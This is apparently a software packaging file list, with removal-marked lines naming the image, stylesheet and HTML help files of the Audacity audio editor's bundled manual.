-%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/be/pinned_playhead_icon.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/be/playcutpreview9.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/be/spectraleditshelveslow200hz_20.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/be/tools_menu_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bf/clicky_example_waveform_view_click_labelled.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bf/clicky_example_waveform_view_discontinuity_selected.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bf/nolatencymonomac_206_snapto.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/b/bf/recordingcursor.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c0/custom_mix_5_channels.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c1/error_opening_sound_device.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c1/preferences_devices.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c1/sound_finder_six_songs_shown.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c1/stereo_waveform_annotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c2/envelope1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c2/export_other_uncompressed_header_dialog_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c2/timeline02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c2/warning_disk_is_full_yellow_zone.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c3/editmenuremovespecial_splitcut_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c3/ex2a_after2more.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c3/meter_options_dialog.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c3/openingdocslin.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c3/scrub_toolbar_60.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c3/zoom1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c4/editmenuclipboundaries_split_03.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c4/notetrackpanel.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c5/multi_tool_envelope_03.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c5/noise_gate_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c5/preferences_keyboard_default_dropdown_menu_trimmed.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c5/spectraledit_03.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c5/trackinfo.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c5/zoom8.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c6/drawcursor.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c6/focus_actions.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c6/opus_invalid_sample_rate.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c7/moveclip.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c7/selectmenuclipboundaries_cursortonext_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c8/atzerocrossings_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c8/theme_high_contrast_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c9/label_sounds_leading.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c9/labeltrack1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c9/linkedregionmovebefore_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c9/playbacklooping1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c9/selectmenuclipboundaries_cursortonext_3.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c9/trim.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c9/warning_dialog_there_is_not_enough_room_available_to_expand_the_cut_line.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/c9/zoomout.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/ca/audio_mono_1_8_small.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/ca/labeltrack3.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/ca/zoomsel.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cb/edit_menu_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cb/export_other_uncompressed_dialog_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cb/multi_tool_envelope_02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cb/note_track_vscale.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cb/playcutpreview8.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cb/selection_toolbar_zeroed_3_0_3.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cb/selectiontoolexample_220.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cb/spectralselectiontoolbarfrequencywidth.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cc/delay_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cc/labelregionmove1after_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cc/nyquist_prompt_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cc/warning_mix_down_to_one_stereo_file.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cd/importrawdata.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cd/toolstoolbarsamples.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/ce/atzerocrossings_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/ce/editmenulabeledaudio_silence_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/ce/macros_comments.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/ce/spectral_edit_parametric_eq_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/ce/timer_toolbar_relocation_to_top_tooldock.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cf/devicerecordingwin7alone.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cf/dragbetweentracksmono.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cf/ex2c_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cf/fade_out.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cf/selectmenuclipboundaries_prevtocursor_3.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cf/stereo_track_annotated_with_tddm.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/c/cf/tcp_track_with_select_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d0/crossfade_overlap_tracks.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d0/edittoolbar_zooms_highlighted.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d0/moving_a_colored_clip_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d0/pasteinwhitespace_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d0/playbackcursor.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d0/view_menu_show_track_name.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d1/play_at_speed_toolbar.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d1/sltg_stretching_3.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d2/latency202mac_206_snapto.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d2/manage_plugins_dialog_with_added_rescan_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d2/playcutpreview2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d2/sndchirp.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d3/silencefinder02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d3/tool_edit_zoomout.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d4/multi_tool_selected_with_cursor.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d4/pro_fade_out.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d5/extra_transportmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d5/loop_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d5/savepresetmacdialog.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d5/status_bar_click_and_drag_to_select_audio_big_timer.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d6/beat_finder_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d6/edit_labeled_audio_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d6/ex2c_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d6/fullwindow_preferences_libraries_001.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d6/help_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d6/latencycorrection_220_04.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d6/move_cursor_to_selection_end_pre.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d7/bulbicon.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d7/failed_to_open_database_file_log.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d7/trackzoomedtosamples.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d7/zoom6.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d8/export_audio_dialog_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d8/rca_quarterinch_adapter.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d8/transport_scrubbingmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d8/w10_sound_settings_scaled_60percent.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d9/label_sounds_leading_trailing.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d9/nyquist_envelope.gif -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d9/recordbeside.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d9/repeat_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d9/silence_sound_finder_six_songs.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/d9/track_mute_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/da/audio_track_dropdown_menu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/da/auto_duck_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/da/preferences_libraries.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/db/rolldown.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/dc/editselectbefore.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/dc/tutorial3split.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/dd/file_types_for_export_wav_focused_2_4_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/dd/silencefinder03.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/dd/spectraleditnotch.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/dd/splitting_and_joining_stereo_tracks_05.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/de/audio_settings_wasapi_loopback.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/de/crossfade_complete.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/de/effects_stack.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/de/export_multiple_mp3_2_4_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/de/jack_to_stereo_mini_jack.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/df/dc_offset.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/d/df/spectraledit_03a.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e0/3_tracks_collapsed.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e0/label_sounds_min_silence.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e0/tool_edit_zoomin.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e1/click_removal_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e1/effect_menu_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e1/exportmultipleexample02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e1/helpmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e1/sltg_edits_11.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e1/spectrogramview_intro_00.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e2/waveform_digital.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e2/wavefortutorial1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e3/audio_setup.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e3/earbud_by_mic.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e3/ex1b_before.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e3/exponential_fade_in.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e3/spectraleditnotch02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e3/warning_save_empty_project.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e4/rca_incassetteback.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e5/pinned_record_head_icon.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e5/timetoolbarannotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e6/extra_seekmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e6/lowerdockannotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e6/screenshot.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e6/sltg_stretching_1.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e6/zero_crossing.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e7/spectrogramview_14.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e8/envelope4.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e8/noise_reduction_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e8/record.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e8/select.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e8/set_track_audio.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e8/view_toolbarsmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e8/warning_no_file_extension_for_export.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e9/export_multiple_by_labels_2_4_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/e9/spectrogramview_02c.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ea/amplify_vs_normalize.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ea/crossfade_split_tracks.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ea/echo_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ea/multi_tool_zoom_02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ea/recording_meter_quiescent.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ea/sltg_edits_16.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/eb/extra_editmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/eb/linkedregionmoveafter_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/eb/punch_in_tracks000.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/eb/time_toolbar_in_playback.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ec/editcursor.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ec/spectrogramview_02a.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ed/macros_select_command_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ed/mel_log_linear_spectrogram_annotated.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ed/menudownarrow.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ed/view_track_sizemenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ee/clip_fix_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ee/drag.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ee/grabber.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ef/clicky_example_waveform_view_click_labelled_and_zoomed_red_arrows.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ef/connect_dots_stem_plot_examples.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ef/error_for_locked_configuration_files.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ef/pinned_playhead_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ef/set_track_status_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ef/spectrogramview_05a.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ef/spectrogramview_07.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/e/ef/waveformabstract.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f0/extra_scriptables_iimenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f0/spectrogramview_02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f1/smart_clip.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f1/tensecondselection.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f2/aligntogether_after.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f2/crossfade_beat_match.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f2/export_audio_to_mp3_dialog_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f2/labeltrack5.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f2/trackexampleclipping.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f3/3_tracks_expanded.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f3/macro_example_nr_eq.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f3/notch_filter_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f3/spectrogramview_13.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f4/pinned_head_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f4/playcutpreview10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f4/selectmenuclipboundaries_previous_2.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f5/history_dialog_rollback_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f6/playcutpreview4.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f6/windows_control_panel_sound75percent.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f7/ex1a_afterwithclips_nomove.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f7/ex1a_beforewithclips_noscroll.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f7/keyboardprefs_minus.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f7/label_sounds_3_2_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f8/envelope5.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f8/spectraleditmultilp2000.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f9/high_curve.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f9/mono_track_example.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f9/pointlabeltextselected_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f9/stop.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f9/timer_record_insufficient_disk_space_w10.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/f9/track_gain_slider.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/fa/computerback.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/fa/multi_tool_draw_02.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/fa/multi_view_mono_re_proportioned.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/fa/pinned_x2_scrubbing_at_x1_speed.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/fa/zoomin.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/fb/selection_toolbar_zeroed_2_4_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/fb/status_bar_actual_rate_44100.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/fb/tracks_for_mixing.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/fc/clicky_example_waveform_view_click_repaired_for_final_testing.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/fc/warning_save_compressed_project.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/fd/ex1b_short_after_nomove.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/fd/sound_activation_level_w10_3_0_0.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/fd/tcp_and_vs_time_track_track_with_select_button.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/fe/sltg_edits_6.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/ff/preferences_extended_import.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/ff/spectralselectiontoolbarlowhigh.png -%%MANUAL%%%%DATADIR%%/help/manual/m/images/f/ff/transportmenu.png -%%MANUAL%%%%DATADIR%%/help/manual/m/resources/assets/AudacityLogo.png -%%MANUAL%%%%DATADIR%%/help/manual/m/resources/assets/poweredby_mediawiki_88x31.png -%%MANUAL%%%%DATADIR%%/help/manual/m/skins/monobook/audio.png -%%MANUAL%%%%DATADIR%%/help/manual/m/skins/monobook/bullet.gif -%%MANUAL%%%%DATADIR%%/help/manual/m/skins/monobook/external.png -%%MANUAL%%%%DATADIR%%/help/manual/m/skins/monobook/external_rtl.png -%%MANUAL%%%%DATADIR%%/help/manual/m/skins/monobook/headbg.jpg -%%MANUAL%%%%DATADIR%%/help/manual/m/skins/monobook/ie60fixes.css/303.css -%%MANUAL%%%%DATADIR%%/help/manual/m/skins/monobook/ie70fixes.css/303.css -%%MANUAL%%%%DATADIR%%/help/manual/m/skins/monobook/main.css/303.css -%%MANUAL%%%%DATADIR%%/help/manual/m/skins/monobook/user.gif -%%MANUAL%%%%DATADIR%%/help/manual/m/skins/monobook/video.png -%%MANUAL%%%%DATADIR%%/help/manual/man/aac_export_options.html -%%MANUAL%%%%DATADIR%%/help/manual/man/ac3_export_options.html -%%MANUAL%%%%DATADIR%%/help/manual/man/accessibility.html -%%MANUAL%%%%DATADIR%%/help/manual/man/adjustable_fade.html -%%MANUAL%%%%DATADIR%%/help/manual/man/advanced_mixing_options.html -%%MANUAL%%%%DATADIR%%/help/manual/man/alternative_noise_reduction_techniques.html -%%MANUAL%%%%DATADIR%%/help/manual/man/amplify.html -%%MANUAL%%%%DATADIR%%/help/manual/man/amplify_and_normalize.html -%%MANUAL%%%%DATADIR%%/help/manual/man/amr_export_options.html -%%MANUAL%%%%DATADIR%%/help/manual/man/analyze_menu.html -%%MANUAL%%%%DATADIR%%/help/manual/man/application_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/apply_macro.html -%%MANUAL%%%%DATADIR%%/help/manual/man/asio_audio_interface.html -%%MANUAL%%%%DATADIR%%/help/manual/man/audacity_2.html -%%MANUAL%%%%DATADIR%%/help/manual/man/audacity_menu.html -%%MANUAL%%%%DATADIR%%/help/manual/man/audacity_projects.html -%%MANUAL%%%%DATADIR%%/help/manual/man/audacity_selection.html -%%MANUAL%%%%DATADIR%%/help/manual/man/audacity_setup_and_configuration.html -%%MANUAL%%%%DATADIR%%/help/manual/man/audacity_tour_guide.html -%%MANUAL%%%%DATADIR%%/help/manual/man/audacity_tracks_and_clips.html -%%MANUAL%%%%DATADIR%%/help/manual/man/audacity_waveform.html -%%MANUAL%%%%DATADIR%%/help/manual/man/audio_alignment.html -%%MANUAL%%%%DATADIR%%/help/manual/man/audio_setup_toolbar.html -%%MANUAL%%%%DATADIR%%/help/manual/man/audio_track_dropdown_menu.html -%%MANUAL%%%%DATADIR%%/help/manual/man/audio_tracks.html -%%MANUAL%%%%DATADIR%%/help/manual/man/auto_duck.html -%%MANUAL%%%%DATADIR%%/help/manual/man/basic_recording_editing_and_exporting.html -%%MANUAL%%%%DATADIR%%/help/manual/man/bass_and_treble.html -%%MANUAL%%%%DATADIR%%/help/manual/man/beat_finder.html -%%MANUAL%%%%DATADIR%%/help/manual/man/boundary_snap_guides.html -%%MANUAL%%%%DATADIR%%/help/manual/man/burncd.html -%%MANUAL%%%%DATADIR%%/help/manual/man/burning_music_files_to_a_cd.html -%%MANUAL%%%%DATADIR%%/help/manual/man/cassette_deck_de_magnetization.html -%%MANUAL%%%%DATADIR%%/help/manual/man/chains_for_batch_processing_and_effects_automation.html -%%MANUAL%%%%DATADIR%%/help/manual/man/change_pitch.html -%%MANUAL%%%%DATADIR%%/help/manual/man/change_speed.html -%%MANUAL%%%%DATADIR%%/help/manual/man/change_tempo.html -%%MANUAL%%%%DATADIR%%/help/manual/man/chirp.html -%%MANUAL%%%%DATADIR%%/help/manual/man/chris_s_dynamic_compressor.html -%%MANUAL%%%%DATADIR%%/help/manual/man/classic_filters.html -%%MANUAL%%%%DATADIR%%/help/manual/man/click_removal.html -%%MANUAL%%%%DATADIR%%/help/manual/man/click_removal_using_the_spectrogram_view.html -%%MANUAL%%%%DATADIR%%/help/manual/man/click_tip.html -%%MANUAL%%%%DATADIR%%/help/manual/man/clip_fix.html -%%MANUAL%%%%DATADIR%%/help/manual/man/compressor.html -%%MANUAL%%%%DATADIR%%/help/manual/man/connecting_a_microphone.html -%%MANUAL%%%%DATADIR%%/help/manual/man/connecting_a_mixer.html -%%MANUAL%%%%DATADIR%%/help/manual/man/connecting_an_instrument.html -%%MANUAL%%%%DATADIR%%/help/manual/man/connecting_audio_equipment.html -%%MANUAL%%%%DATADIR%%/help/manual/man/contrast.html -%%MANUAL%%%%DATADIR%%/help/manual/man/copy_and_paste_a_section_of_audio.html -%%MANUAL%%%%DATADIR%%/help/manual/man/creating_a_crossfade.html -%%MANUAL%%%%DATADIR%%/help/manual/man/creating_and_selecting_labels.html -%%MANUAL%%%%DATADIR%%/help/manual/man/creating_fades_with_the_envelope_tool.html -%%MANUAL%%%%DATADIR%%/help/manual/man/creating_nyquist_plug_ins.html -%%MANUAL%%%%DATADIR%%/help/manual/man/credits.html -%%MANUAL%%%%DATADIR%%/help/manual/man/crossfade_clips.html -%%MANUAL%%%%DATADIR%%/help/manual/man/crossfade_tracks.html -%%MANUAL%%%%DATADIR%%/help/manual/man/custom_ffmpeg_export_options.html -%%MANUAL%%%%DATADIR%%/help/manual/man/customization.html -%%MANUAL%%%%DATADIR%%/help/manual/man/customizing_toolbar_layout.html -%%MANUAL%%%%DATADIR%%/help/manual/man/dc_offset.html -%%MANUAL%%%%DATADIR%%/help/manual/man/delay.html -%%MANUAL%%%%DATADIR%%/help/manual/man/device.html -%%MANUAL%%%%DATADIR%%/help/manual/man/device_toolbar.html -%%MANUAL%%%%DATADIR%%/help/manual/man/devices_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/digital_audio.html -%%MANUAL%%%%DATADIR%%/help/manual/man/directories_preferences.html -%%MANUAL%%%%DATADIR%%/help/manual/man/distortion.html -%%MANUAL%%%%DATADIR%%/help/manual/man/dither.html -%%MANUAL%%%%DATADIR%%/help/manual/man/draw_tool.html -%%MANUAL%%%%DATADIR%%/help/manual/man/dtmf_tones.html -%%MANUAL%%%%DATADIR%%/help/manual/man/echo.html -%%MANUAL%%%%DATADIR%%/help/manual/man/edit.html -%%MANUAL%%%%DATADIR%%/help/manual/man/edit_menu.html -%%MANUAL%%%%DATADIR%%/help/manual/man/edit_menu_clip_boundaries.html -%%MANUAL%%%%DATADIR%%/help/manual/man/edit_menu_copy_paste_and_duplicate.html -%%MANUAL%%%%DATADIR%%/help/manual/man/edit_menu_find_zero_crossings.html -%%MANUAL%%%%DATADIR%%/help/manual/man/edit_menu_labeled_audio.html -%%MANUAL%%%%DATADIR%%/help/manual/man/edit_menu_labels.html -%%MANUAL%%%%DATADIR%%/help/manual/man/edit_menu_remove_special.html -%%MANUAL%%%%DATADIR%%/help/manual/man/edit_menu_select.html -%%MANUAL%%%%DATADIR%%/help/manual/man/edit_toolbar.html -%%MANUAL%%%%DATADIR%%/help/manual/man/editing_resizing_and_moving_labels.html -%%MANUAL%%%%DATADIR%%/help/manual/man/effect_menu.html -%%MANUAL%%%%DATADIR%%/help/manual/man/effect_menu_audiounit.html -%%MANUAL%%%%DATADIR%%/help/manual/man/effect_menu_built_in.html -%%MANUAL%%%%DATADIR%%/help/manual/man/effect_menu_ladspa.html -%%MANUAL%%%%DATADIR%%/help/manual/man/effect_menu_lv2.html 